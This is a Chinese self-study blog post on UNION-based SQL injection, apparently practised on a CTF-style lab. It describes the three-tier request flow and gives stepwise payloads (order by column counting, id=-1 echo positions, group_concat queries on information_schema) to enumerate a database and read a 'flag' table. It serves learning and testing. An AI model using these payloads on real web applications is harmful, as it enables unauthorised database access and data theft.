自学SQL注入总结一:union注入

@自学SQL注入总结

先理解三层架构中信息流：
1.用户向Web服务器发送请求。
2.Web服务器检索用户数据，创建包含用户输入的SQL语句，然后向数据库服务器发送查询。
3.数据库服务器执行SQL查询并将结果返回给Web服务器。请注意，数据库服务器不知道应用逻辑，它只是执行查询并返回结果。
4.Web服务器根据数据库响应动态的创建HTML页面
引用SQL注入攻击与防御（第二版）

一：什么是SQL注入
SQL注入就是将SQL代码插入到输入参数中，之后再将参数传递到SQL服务器加以解释执行。
二：如何去发现SQL注入呢？
借助推理进行测试，例如通过发送意外数据（‘ and or ）来触发异常
……
三:注入类型
1.Union注入（前提必须有错误回显）：
1）判断注入类型为数字型还是字符型参考文章
2)判断列数：利用order by查询列数 例如： order by 3 --+
–+为注释注释参考文章
3）判断回显位置：注意让id=-1(报错即可)方便回显想要的数据，图片中null,null,null,也可以为1，2，3

4）查询数据库版本

版本大于5，会存在information_schema
5）查询数据库名称
union select null,null,database()–+ 查询数据库名

group_concat：拼接字符串
schema_name：数据库名
information_schema.schemata：information_schema下的schemata表，该表提供了相关数据库的信息

6）查询表名
union select null,group_concat(table_name),null from information_schema.tables where table_schema=‘security’–+
标记部分为数据库名 若不知道可用(select database()）代替
table_name：表名
table_schema：表所属的数据库名
7）查询列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’-- +
flag为表名
column_name：列名
8）查询数据
union select null,null,flag from flag --+
查询flag表下flag列下的数据